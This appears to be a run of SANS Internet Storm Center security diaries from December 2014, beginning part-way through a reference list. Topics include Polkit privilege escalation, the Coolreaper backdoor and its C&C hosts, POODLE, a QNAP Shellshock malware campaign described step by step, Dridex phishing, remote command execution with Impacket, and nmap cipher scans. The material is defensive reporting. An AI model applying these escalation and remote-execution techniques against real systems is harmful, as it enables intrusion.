[4] http://3.bp.blogspot.com/-iqXmOKC5Zgk/UieYOEA8jPI/AAAAAAAAA_c/nlX2cgxhyZo/s1600/screenshot_2013-09-04_020.png

[5] http://malware-traffic-analysis.net/2014/01/24/index.html

[6] http://malware-traffic-analysis.net/2014/09/29/index.html

[7] http://threatglass.com/malicious_urls/firstliving-org

[8] http://malware-traffic-analysis.net/2014/12/12/index.html

Alert Logic published a widely publizised blog outlining a common configuration problem with Polkit. To help with dissemination, Alert Logic named the vulnerability "Grinch" [1] .

In some ways, this isn't so much a vulnerability, as more a common overly permissive configuration of many Linux systems. It could easily be leveraged to escalate privileges beyond the intent of the polkit configuration.

Lets first step back: In the beginning, there was sudo. Sudo served the Unix community well for many decades. I had to Google this myself, but looks like sudo initially was developed in 1986 [2]. Sudo is relatively simple in its approach. A simple configuration file outlines who can run what command as what user. Of course, it isn't always as simple, as some software (e.g. many editors) allow the user to spawn shells, but for the most part administrators have found ways to fix these problems over the years. Most importantly, proper ly configured sudo requires the user to enter a password.

Polkit works differently then sudo. With sudo, I configure which software a user is allowed to run as root (or another user). With polkit, I configure which privileges a user is allowed to take advantage of while running a particular piece of software. 

The problem pointed out by Alert Logic is two fold. First of all, the default polkit configuration on many Unix systems (e.g. Ubuntu), does not require authentication. Secondly, the polkit configuration essentially just maps the "wheels" group, which is commonly used for sudo users, to the polkit "Admin". This gives users in the "wheel" group access to administrative functions, like installing packages, without having to enter a password.

The main risk is privilege escalation. With sudo, an attacker would have to enter the user's password after compromising a lesser user account in the wheel group. With polkit, all it takes is to install a package using the polkit tool "pkcon", which takes advantage of the loose polkit configuration to install packages.

What should you do? What is the risk?

First, have a relaxed christmas and enjoy it with your family. Next, take a look around your network and narrow down how is a member of the "wheel" group. Only administrators should be a member of the group ("people who change system configurations and install software for a living"). If you got some time between now and Jan 1st: Read up on Polkit and educate yourself as to what it does.

After new year: Make sure you understand how polkit action are logged, and start reviewing them. Polkit is still "new", so many system administrators don't know about it and may ignore the alerts.

Of course, Shellshock and this Polkit issue make a great 1-2 punch to get root on a Unix system. But I doubt a system still vulnerable to Shellshock has no other privilege escalation vulnerability. So I don't think it this is such a huge issue. Fix Shellshock first if that is the case.

And as always, make sure to read the original Alert Logic document to get all the details.

[1] https://www.alertlogic.com/blog/dont-let-grinch-steal-christmas/ 
[2] http://www.sudo.ws/sudo/history.html

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Researchers at Palo Alto found that many ROM images used for Android smart phones manufactured by Coolpad contain a backdoor, giving an attacker full control of the device. Palo Alto named the backdoor "Coolreaper".

With Android, it is very common for manufacturers to install additional applications. But these applications are installed on top of the Android operating system. In this case, Coolpad integrated additional functionality into the firmware of the device. This backdoor was then used by Coolpad to push advertisements to its users and to install additional Android applications. But its functionality goes way beyond simple advertisements.

The backdoor provides full access to the device. It allows the installation of additional software, accessing any information about the device, and even notifying the user of fake over the air updates.

How important is this threat?

Coolpad devices are mostly used in China, with a market share of 11.5% according to the report. They are not found much outside of China. The phones are typically sold under brands like Coolpad, Dazen and Magview. 

The following domains and IPs are used for the C&C channel:

113.142.37.149, dmp.coolyn.com, dmp.51coolpad.com, icudata.coolyun.com, icudata.51coolpad.com, 113.142.37.246, icucfg.coolyun.com and others . Blocking and logging outbound traffic for these IPs will help you identify affected devices.

For details, see the Palo Alto Networks report at https://www.paloaltonetworks.com/threat-research.html

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

In previous diaries we have talked about memory forensics and how important it is.

In this diary I will talk about a new volatility plugins called Forensic Suite written by Dave Lasalle.

The suite has 14 plugins and they cover different area of memory forensics

The Forensics Suite can be obtain from: http://downloads.volatilityfoundation.org/contest/2014/DaveLasalle_ForensicSuite.zip .

In this diary I will talk about some of the plugins

Firefox history:

To test this plugin first I browsed the internet using Firefox then I closed it to see how much data firefoxhistory plugin can obtain from the memory image that I acquired after closing firefox .

The firefoxhistory will parse the places.sqlite from the memory and show the output either on the screen or you can direct to csv file using –output=csv option. If you use the –output=csv option you will be able to play with your data using a spreadsheet software such as MS Excel 

Firefoxcookies

Another Firefox forensics plugin is firefoxcookies , firefoxcookies will parse cookies.sqlite from the memory and show output to the screen or to a csv file

Forensics suite support chrome forensics as well, with the same syntax you can parse chrome history, cookies and downloads from the memory.

JAVA IDX Parser:

Many malicious jar files are coming from idx files , Forenscis suite has a plugin that will scan a memory for IDX files and it will parse it:

And here is the output

In October, Apple released Security Update 2014-005, specifically with the intend to address the POODLE issue [1]. The description with the update stated:

There are known attacks on the confidentiality of SSL 3.0 when a cipher suite uses a block cipher in CBC mode. An attacker could force the use of SSL 3.0, even when the server would support a better TLS version, by blocking TLS 1.0 and higher connection attempts. This issue was addressed by disabling CBC cipher suites when TLS connection attempts fail.

However, even with the most recent version of Safari, I am still not able to prove this statement as true. Instead, I am able to connect to a test server that ONLY supports SSLv3 and block ciphers. [2] Multiple users of the site confirmed this observation, and the logs also confirm that current versions of Safari will happily ignore Apple's statement above and connect via SSLv3.

Here is a breakdown of a packet capture showing the entire handshake:

The Safari client hello:

    SSL Record Layer: Handshake Protocol: Client Hello
        Content Type: Handshake (22)
        Version: TLS 1.0 (0x0301)
        Length: 183
        Handshake Protocol: Client Hello
            Handshake Type: Client Hello (1)
            Length: 179
            Version: TLS 1.2 (0x0303)
            Random

As it should, it indicates support for TLS 1.0. My server is now sending back the Server Hello message:

       Handshake Protocol: Server Hello
            Handshake Type: Server Hello (2)
            Length: 90
            Version: SSL 3.0 (0x0300)
            ...
            Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
 

The server offers AES, a block cipher (CBC) which is accepted by Safari.

Other issues we discovered with the poodletest.com website is the use of proxies. Some proxies still support SSLv3, and if they are configured as a trusted proxy terminating SSL connections, then they may downgrade a connection to SSLv3.

How serious is it? The POODLE attack is still a low probability attack. I am not aware of any active use of the attack. So no need to panic. But vendors like Apple aren't helping with incomplete statements. It is possible that Safari is doing some form of downgrading protection. But this is not explained in the very brief advisory.

[1] https://support.apple.com/en-us/HT203107
​[2] https://sslv3.dshield.org/vulnpoodle.png

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

This attack got it "all", and shows how hard it can be for a non ISC reader to evade some of these tech support scams. The URL used, http://login.microsoftlonine.com is only one letter off from the legit Microsoft Office 365 login page (you noticed the extra letter?).

The content you will get back varies. But here is a screenshot submitted by our reader Daniel:

The user was redirected to warning.netsecurityalerts.com (the site appears down right now), and to bolster the site's credibility, it displays the user's correct ISP (we all know this is an easy whois lookup, but a user confronted with this message is much more likely to fall for it then a recent message).

Calling the 800 number now will lead to a sales system trying to sell you a medial alert button if you are 50 years or older. 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Shellshock is far from "over", with many devices still not patched and out there ready for exploitation. One set of the devices receiving a lot of attention recently are QNAP disk storage systems. QNAP released a patch in early October, but applying the patch is not automatic and far from trivial for many users[1]. Our reader Erich submitted a link to an interesting Pastebin post with code commonly used in these scans [2]

The attack targets a QNAP CGI script, "/cgi-bin/authLogin.cgi", a well known vector for Shellshock on QNAP devices [3]. This script is called during login, and reachable without authentication. The exploit is then used to launch a simple shell script that will download and execute a number of additional pieces of malware:

"emme" [sha1 611bd8bea11d6edb68ed96583969f85469f87e0f]:

This appears to implement a click fraud script against advertisement network "JuiceADV". The userid that is being used is 4287 and as referrer, http://www.123linux.it is used. The user agent is altered based on a remote feed.

"cl" [sha1 b61fa82063975ba0dcbbdae2d4d9e8d648ca1605]

A one liner shell script uploading part of /var/etc/CCcam.cfg to ppoolloo.altervista.com . My test QNAP system does not have this file, so I am not sure what they are after.

The script also created a "hidden" directory, "/share/MD0_DATA/optware/.xpl", which is then used to stash some of the downloaded scripts and files.

Couple other changes made by the script:

• Sets the DNS server to 8.8.8.8
• creates an SSH server on port 26
• adds an admin user called "request"
• downloads and copies a script to cgi-bin: armgH.cgi and exo.cgi
• modify autorun.sh to run the backdoors on reboot

Finally, the script will also download and install the Shellshock patch from QNAP and reboot the device. 

Infected devices have been observed scanning for other vulnerable devices. I was not able to recover all of the scripts the code on pastebin downloads. The scanner may be contained in one of the additional scripts.

[1] http://www.qnap.com/i/en/news/con_show.php?op=showone&cid=342
[2] http://pastebin.com/AQJgM5ij
[3] https://www.fireeye.com/blog/threat-research/2014/10/the-shellshock-aftershock-for-nas-administrators.html

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

I noticed it in my own logs overnight and also had a couple of readers (both named Peter) report some odd new ssh scanning overnight.  The scanning involves many sites, likely a botnet, attempting to ssh in as 3 users, D-Link, admin, and ftpuser.  Given the first of those usernames, I suspect that they are targetting improperly configured D-Link routers or other appliances that have some sort of default password.  The system that I have at home was not running kippo, so I didn't get the passwords that they were guessing and was not able to see what they might do if they succeed in ssh-ing in.  If anyone out there has any more info on what exactly they are targetting, please let us know by e-mail, via the contact page, or by commenting on this post.  I'll try to reconfigure a couple of kippo honeypots to see if I can capture the bad guys there and may update this post later.

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

We got two security updates from VMWare this week:

VMSA-2014-0013 (CVE: http://www.vmware.com/security/advisories/VMSA-2014-0013.html

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Yesterday while reviewing our logs here at the SANS Internet Storm Center I stumbled upon these:

login failed for s.ervic.d.157.6@gmail.com
login failed for se.rv.icd.15.76@gmail.com
login failed for r.a.mo.s.odalys.33.3@gmail.com
login failed for sho.ppin.g48service@gmail.com

The reason this caught my eye is because I recall reading that GMail ignores periods in email addresses. For example, if I register alexs12345@gmail.com but then begin sending email to a.l.e.x.s.1.2.3.4.5@gmail.com, it will arrive in my new inbox despite the additional periods.

Many blog and forum platforms have functionality for banning by email address. Spammers can use the periods in GMail addresses to subvert such banning controls by registering again without having to produce a truly new email address. Do your systems and/or websites allow for registering multiple accounts this way?

Where this becomes more interesting is that these logs indicate visitors that tried to log in using these email addresses without having even attempted to register them first. None of the above logs come from a single IP address, though the first two do come from a single IP range. Is this due to a poorly programmed bot, or is it indicative of something else?

Let us know what you think in the comments!

-- 
Alex Stanford - GIAC GWEB & GSEC,
Research Operations Manager,
SANS Internet Storm Center
/in/alexstanford

Update: Turns out that the malware sample that Kaspersky was reporting on was not actual malware from a real incident. But the story isn't quite "harmless" and the certificate should still be considered compromised. A researcher found the certificate as part of the SONY data that was widely distributed by the attackers. The filename for the certificate was also the password for the private key. The researcher then created a signed copy of an existing malware sample retrieved from Malwr, and uploaded it to Virustotal to alert security companies. Kaspersky analyzed the sample, and published the results, not realizing that this was not an "in the wild" sample. [1] The certificate has been added to respective CRLs.

--- original story ---

We haven't really mentioned the ongoing SONY compromise here. In part, because there is very little solid information public (and we don't want to just speculate), and also, without a good idea about what happened, it is difficult to talk about lessons learned.

However, one facet of he attack may have wider implications. Securelist is reporting that they spotted malware that is signed with a valid SONY certificate. It is very likely that the secret key used to create the signature was part of the loot from the recent compromise. Having malware that is signed by a major corporation will make it much more likely for users to install the malware. It also emphasizes again the depth at which SONY was (or is) compromised. [2]

An effort is underway to revoke the certificate. But certificate revocation lists are notoriously unreliable and slow to update so it may take a while for the revocation to propagate. 

Stolen certificate serial number: 01 e2 b4 f7 59 81 1c 64 37 9f ca 0b e7 6d 2d ce
Thumbprint: 8d f4 6b 5f da c2 eb 3b 47 57 f9 98 66 c1 99 ff 2b 13 42 7a

[2] https://twitter.com/afreak/status/542539515500298240
[1] http://securelist.com/blog/security-policies/68073/destover-malware-now-digitally-signed-by-sony-certificates/

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Adobe today released two new bulletins, and updaed the Reader/Acrobat bulletin that was published a week ago.

APSB14-27: Security Update for Adobe Flash Player

This update fixes 6 vulnerabilities, some of which can lead to remote code execution. Adobe rates this patch with a priority of "1", indicating that the vulnerability has already been exploited in targeted attacks.

APSB14-28: Security Update for Adobe Reader and Acrobat

This updates fixes 20 different vulnerabilities. The bulletin has a rating of 1. 

APSB14-29: Hotfixes for ColdFusion

This bulletin applies to ColdFusion 10 and 11 and fixes a denial of service vulnerability (CVE-2014-9166). The vulnerability has not been used in any exploits so far.

http://helpx.adobe.com/security.html

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Overview of the December 2014 Microsoft patches and their status.

-- 
Alex Stanford - GIAC GWEB & GSEC
Research Operations Manager,
SANS Internet Storm Center

As Adam Langley notes in his blog [1], the POODLE vulnerability may be found in some implementations of TLS, not just in SSLv3.

The problem is an implementation issue, not so much a problem with the standard as in the original SSLv3 instance. The POODLE vulnerability was caused by SSLv3's use of unspecified, and unprotected use of padding. In TLS, the padding is specified, and TLS should no longer be vulnerable to the attack. However, it turns out that some implementations will not verify if the correct padding was used. An incorrect padding would go unnoticed (just like in SSLv3) and could lead to the POODLE problem.

On the other hand: We still haven't seen widespread (any?) exploitation of the POODLE vulnerability. So focus on what Microsoft has to offer first today, then take a look if you still have some outstanding "Poodles" in your network. F5 load-balancers apparently suffer from the new problem.

In addition, Heise.de notes that Kaspersky's Internet Security product, which implements a proxy on the protected host, still supports SSLv3 and may cause connections to be downgraded to SSLv3, even if the user's browser no longer supports SSLv3.

[1] https://www.imperialviolet.org 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Adam Gowdiak from Polish vulnerability research company Security Explorations has issued an announcement concerning vulnerabilites in the Google App Engine.  Details are still somewhat thin, but it appears that multiple vulnerabilities have been discovered and that some of these vulnerabilities will allow a Java VM sandbox escape.

Further information is available at Full Disclosure archive at seclists.org.

-- Rick Wanner - rwanner at isc dot sans dot org - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

Today VMware has released the following new and updated security
advisories:

1-VMSA-2014-0012

​Summary

VMware vSphere product updates address a Cross Site Scripting issue, a certificate validation issue and security vulnerabilities in third-party libraries.

Relevant releases:

VMware vCenter Server Appliance 5.1 Prior to Update 3 

VMware vCenter Server 5.5 prior to Update 2 
VMware vCenter Server 5.1 prior to Update 3 
VMware vCenter Server 5.0 prior to Update 3c 

VMware ESXi 5.1 without patch ESXi510-201412101-SG

​Problem Description
a. VMware vCSA cross-site scripting vulnerability
b. vCenter Server certificate validation issue
c. Update to ESXi libxml2 package
d. Update to ESXi Curl package
e. Update to ESXi Python package
f. vCenter and Update Manager, Oracle JRE 1.6 Update 81

http://www.vmware.com/security/advisories/VMSA-2014-0012.html

2-VMSA-2014-0002.4

Summary

VMware has updated vSphere third party libraries.
Relevant Releases
vCenter Server Appliance 5.5 prior to 5.5 Update 1 
vCenter Server Appliance 5.1 prior to 5.1 Update 3 

VMware vCenter Server 5.5 prior 5.5 Update 1 

VMware Update Manager 5.5 prior 5.5 Update 1 

VMware ESXi 5.5 without patch ESXi550-201403101-SG 
VMware ESXi 5.1 without patch ESXi510-201404101-SG 
VMware ESXi 5.0 without patch ESXi500-201405102-SG 
VMware ESXi 4.1 without patch ESXi410-201404401-SG 
VMware ESXi 4.0 without patch ESXi400-201404401-SG 
    
VMware ESX 4.1 without patch ESX410-201404402-SG 
VMware ESX 4.0 without patch ESX400-201404402-SG

Problem Description:

a. DDoS vulnerability in NTP third party libraries
b.Update to ESXi glibc package
c. vCenter and Update Manager, Oracle JRE 1.7 Update 45 

for further details please refer to:
http://www.vmware.com/security/advisories/VMSA-2014-0002.html

3-VMSA-2014-0008.2
Summary
VMware has updated vSphere third party libraries
Relevant releases
VMware vCenter Server 5.5 prior to Update 2 
VMware vCenter Server 5.1 prior to Update 3 
VMware vCenter Server 5.0 prior to Update 3c 

VMware vCenter Update Manager 5.5 prior to Update 2 

VMware ESXi 5.5 without patch ESXi550-201409101-SG 
VMware ESXi 5.1 without patch ESXi510-201412101-SG
Problem Description
a. vCenter Server Apache Struts Update
b. vCenter Server tc-server 2.9.5 / Apache Tomcat 7.0.52 updates
c. Update to ESXi glibc package
d. vCenter and Update Manager, Oracle JRE 1.7 Update 55

for further information please refer to:
http://www.vmware.com/security/advisories/VMSA-2014-0008.html

​One of my favorite Python modules is Impacket by the guys at Core Labs.   Among other things it allows me to create Python scripts that can speak to Windows computers over SMB.   I can use it to map network drives, kill processes on a remote machine and much more.   During an incident having the ability to reach out to all the machines in your environment to list or kill processes is very useful.    Python and Impacket make this very easy.  Check it out.

After installing Impacket all of the awesome modules are available for use in your Python scripts.  In addition to the modules, Impacket also includes several sample programs.  Awesome tools like psexec.py gives you functionality like Microsoft's PSEXEC plus pass-the-hash in an easily automated format.   Have you ever wished you could run wmic commands from linux?  Let use wmiexec.py to run a command on a remote windows machine from Linux.   You just provide the tools with a username, password, Target IP address and a wmic command to run on the target machine.   For example, this is how to get a list of the users on a remote target.

WMIC from my linux server is awesome, but the best part is that this is Python!.  So instead of running wmiexec.py I can import it as a module and use in a python script.  I'll start out in the same directory as wmiexec and launch "python".   Then "import wmiexec" and create a variable to hold a WMIEXEC object.   In this case I'll create a variable called wmiobj that points to a WMIEXEC object.  The first argument is the command I want to run.   In this case I run a WMIC command that will that finds the path of the executable for every copy of a process with "cmd" somewhere in the process name.   The only other arguments are the username, password and "share='ADMIN$'".  

In this case one of the command prompts is running from a users temporary directory.  That merits some additional investigation!   With those 3 simple lines of Python code we were able to automate the query to a single host.  Because it is Python we can easily use a "for loop" to run this on every workstation on our network, capture those result and compare them.   Find the host with processes that aren't running on any of the the other hosts!  Find the host with unique unusual network connections!  Then, if the conditions are right, automate something to isolate it.

Interested in learning more?  Come check out SEC573 Python for Penetration Testers.  You will learn Python starting from ground zero and learn how to "automate all the things".    Join me at Cyber Guardian on March 2 or in Orlando on April 11.

Check out the courses here:

http://www.sans.org/course/python-for-pen-testers

Mark Baggett

twitter:@MarkBaggett

The OpenVPN folks released a security advisory and updates to its server software yesterday for a vulnerability that has existed in the source code since 2005.  CVE-2014-8104 is a vulnerability that can result in an OpenVPN server crashing when sent a too-short control channel packet.  Note, that in their words "both client certificates and TLS auth will protect against this exploit as long as all OpenVPN clients can be trusted to not be compromised and/or malicious."  If I'm reading this correctly, this means that adding "tls-auth <keyfile> (0|1)" (as appropriate) to the configuration files on both server and client as well as using client certificates should protect against this attack.  Folks running OpenVPN servers are strongly urged to update to v2.3.6 as soon as possible.  The fixes have also been backported to v2.2 and can be found in the git repository, but may also exist in earlier v2.x code if anyone is still running old server software.  Note that the v3.x code used in most OpenVPN Connect clients (such as those for Android and iOS) are not vulnerable.  My Ubuntu systems got the update last night, so if you are running an OpenVPN server on Linux hopefully the patches are available via the usual package update mechanism or soon will be.

References:

https://community.openvpn.net/openvpn/wiki/SecurityAnnouncement-97597e732b

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

Rodrigo Montoro and Joaquim Espinhara did an interesting test, and like so many interesting tests, it is actually pretty obvious in hindsight: They looked at different vulnerability scanners, and checked how they behave if a web site is coded in a language other then English [1]. The quick answer: They pretty much fail. The presentation is looking at a couple of open source and commercial scanners, and threw in snort as an IDS. Turns out all of the scanners (and snort) have issues recognizing evidence of vulnerabilities (like SQL error messages) if the language is changed to anything but english.

Lessons?

- don't just trust your vulnerability scanner. A "clean bill" from a basic vulnerability scanner doesn't mean you have no vulnerabilities.
- watch your error logs while the scan is in progress. You may find a lot more evidence of problems that way, in particular if you are not very forthcoming on error messages.
- configure your scanner (and in the case of snort: your IDS) correctly. Maybe adjust your server configuration to make it easier for the scanner to find problems.
- and yes... a web site written in Klingon is likely much more difficult to hack, but also not that useful (they don't pay!)
 

On a similar note: Some sites use different code for different language versions of the site. In this case, it is very important to test all language versions, which may not be easy.

[1] http://www.slideshare.net/spookerlabs/lost-in-translation-blackhat-brazil-2014

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

This is a guest diary submitted by Brad Duncan.

During the past few months, Botnet-based campaigns have sent waves of phishing emails associated with Dridex.  Today, we'll examine a wave that occurred approximately 3 weeks ago.  The emails contained malicious Word documents, and with macros enabled, these documents infected Windows computers with Dridex malware.

Various people have posted about Dridex [1] [2], and some sites like Dynamoo's blog [3] and TechHelpList [4] often report on these and other phishing campaigns.

Let's take a closer look at one of the November phishing waves.

On 11 Nov 2014, I saw at least 60 emails with Duplicate Payment Received in the subject line.  This appeared to be a botnet-based campaign from compromised hosts at various locations across the globe.

These messages had an HTML component, and some also had an image displaying a written signature.

After opening the attached Word document on a Windows host, Dridex was downloaded if macros were enabled.  Post-infection traffic began shortly after the download.

Shown above: infection traffic as seen in Wireshark.

Monitoring the infection traffic on Security Onion, we found alerts for Dridex traffic from the EmergingThreats signature set (ET TROJAN Dridex POST Checkin) [5]

Shown above: events from Sguil in Security Onion.

File hashes changed during this wave of emails, indicating at least 3 different Word documents were used.  During this phishing run, Dridex malware came from IP addresses in the 62.76.185.0/24 block.  The following were samples were found:

Example of malicious Word document from 11 Nov 2014 phishing email:

https://malwr.com/analysis/M2M2ZDQxM2M2NzFhNDllZDhjMjQzMjAyYzRkNWZhYTA/

Example of Dridex malware downloaded by the above Word document:

https://malwr.com/analysis/YzA3ZDY0ODE2ZjY5NDE3NTlhZjkyNTg3NTIwNDljM2I/

References:

[1] http://stopmalvertising.com/malware-reports/analysis-of-dridex-cridex-feodo-bugat.html
[2] http://www.abuse.ch/?p=8332
[3] http://blog.dynamoo.com/
[4] https://techhelplist.com/index.php/spam-list/
[5] http://doc.emergingthreats.net/2019478

----------
Brad Duncan is a Security Analyst at Rackspace, and he runs a blog on malware traffic analysis at http://www.malware-traffic-analysis.net

Just when folks get around to implementing SSL, we need to retire SSL!  Not a week goes buy that a client isn't asking me about SSL (or more usually TLS) vulnerabilities or finding issues on their network.

In a recent case, my client  had just finished a datacenter / PCI audit, and had one of his servers come up as using SSL 2.0, which of course has been deprecated since 1996 - the auditor's recommendation was to update to SSL 3.0 (bad recommendation, keep reading on).  When he then updated to SSL 3.0 and was re-scanned, the scanner of course found problems with *that* too - and the recommendation changed to update to TLS 1.1 or 1.2 - SSL 3.0 has its own set of issues, including the furor around the recent POODLE vulnerability.

This shows two things actually:

1/ W-a-a-a-y too many assessments consist of scanning the target, and pasting the output of the scanning tool into the final report.  

2/ In this case, the person writing the report had either not read the text they were pasting, or was not knowledgeable enough to understand that updating from SSL 2 to SSL 3 wasn't going to get to a final "good" state.  Shame on them either way!

As a side note, if the site (it was on an internal network remember) was running plain old HTTP, then  the scanner would not have identified a problem, and the person behind the scanner would very likely have missed this completely! (OOPS)

Anyway, my client's *real* question was "how can we scan our network for vulnerable SSL versions and ciphers, but not pay big bucks for an enterprise scanning tool or a consultant?"

My answer was (that day) - NMAP of course!

To check for weak or strong ciphers on a server or subnet, use the script "ssl-enum-ciphers"

nmap -Pn -p443 isc.sans.edu --script=ssl-enum-ciphers  (Bojan covered this one in some detail in August, at https://isc.sans.edu/diary/18513 )

Starting Nmap 6.47 ( http://nmap.org ) at 2014-11-27 09:42 Eastern Standard Time

Nmap scan report for isc.sans.edu (66.35.59.249)
Host is up (0.097s latency).
rDNS record for 66.35.59.249: isc.sans.org
PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   SSLv3: No supported ciphers found
|   TLSv1.0:
|     ciphers:
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
|     compressors:
|       NULL
|   TLSv1.1:
|     ciphers:
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
|     compressors:
|       NULL
|   TLSv1.2:
|     ciphers:
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 - strong
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 - strong
|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 - strong
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 - strong
|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 - strong
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
|     compressors:
|       NULL
|_  least strength: strong

Nmap done: 1 IP address (1 host up) scanned in 34.63 seconds

You can scan specifically for SSHv2 devices using the script "sshv2.nse"

nmap -Pn -p443 --open  192.168.122.0/24 --script=sslv2

Oops - this scan found a server admin card (an iLO equivalent) on my home network that I thought that I had updated (my bad)

Nmap scan report for 192.168.122.246
Host is up (0.029s latency).
PORT    STATE SERVICE
443/tcp open  https
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_CBC_128_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_CBC_128_CBC_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
MAC Address: 00:E0:81:CE:9E:74 (Tyan Computer)

NMAP also has scripts ssl-heartbleed script (if you're still focused on that), and has an ssl-poodle script, but you'll need to download that one from their script page at http://nmap.org/nsedoc/scripts/  - it's not in the base installation.

While you're at it, take a look at cipher support on any SSH enabled devices on your network - you are likely to be surprised at what you find.  For instance, this is the management interface of my home firewall - I'm not thrilled with the 3des-cbc and MD5 support, but I guess that's why there's a new firewall in a box, just waiting for a free day for me to swap it in I guess.

nmap -Pn -p22 192.168.122.1 --script=ssh2-enum-algos.nse

Starting Nmap 6.47 ( http://nmap.org ) at 2014-11-27 17:02 Eastern Standard Time

Nmap scan report for 192.168.122.1
Host is up (0.0020s latency).
PORT   STATE SERVICE
22/tcp open  ssh
| ssh2-enum-algos:
|   kex_algorithms: (1)
|       diffie-hellman-group1-sha1
|   server_host_key_algorithms: (1)
|       ssh-rsa
|   encryption_algorithms: (4)
|       aes128-cbc
|       3des-cbc
|       aes192-cbc
|       aes256-cbc
|   mac_algorithms: (4)
|       hmac-sha1
|       hmac-sha1-96
|       hmac-md5
|       hmac-md5-96
|   compression_algorithms: (1)
|_      none
MAC Address: C8:4C:75:DA:31:E3 (Cisco Systems)

Nmap done: 1 IP address (1 host up) scanned in 47.39 seconds

Or, for a real eye-opener, scan your subnet for SSHv1 enabled devices - note that this scan (and the previous one) assumes that your SSH service is on port 22.  In a "zero knowledge" scan, you'd of course scan a wider range of ports (all of them if there's time for that):

nmap -Pn -p22 192.168.122.0/24 --script=sshv1.nse

This scan didn't find anything at my house, but it *always* finds stuff at client sites!

What crypto support issues have you found when you scanned for them?  And how long do you thing these problems were there?  Please, share your story using our comment link!

===============
Rob VandenBrink
Metafore

The Ponemon Institute conducted and released a paper in September on its second annual study on data breaches. Some of the data collected shows interesting results. Based on their survey, 68% of respondents don't believe their company would know how to deal with negative public opinion and 67% think their organization does not understands what to do after a data breach occurs.[page 3] If either one occurs, it usually impact the brand, it can lead to lost of customers and shake business partners' trust and confidence in the company.

They also found that more companies now have a data breach response plan 73% in 2014 compared to 61% last year. According to this survey, only ~30% of the response plans are effective or very effective.[page 4] The report suggest to be effective, the organization must provide training to its employees, to make them aware of their responsibilities on how to protect customer information when a data breach occurs.

There are several template of data breach response plan freely available to get you started. If you have one in place, how often is it reviewed and exercised? Do your receive training on how to properly safeguard customers' sensitive data? The study can be downloaded here.

[1] http://www.experian.com/assets/data-breach/brochures/2014-ponemon-2nd-annual-preparedness.pdf [page 3,4]
[2] https://privacyassociation.org/resources/article/security-breach-response-plan-toolkit/
[3] http://www.cica.ca/resources-and-member-benefits/privacy-resources-for-firms-and-organizations/docs/item48785.pdf
[4] http://www.justice.gov/sites/default/files/opcl/docs/breach-procedures.pdf
[5] http://www.securingthehuman.org

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu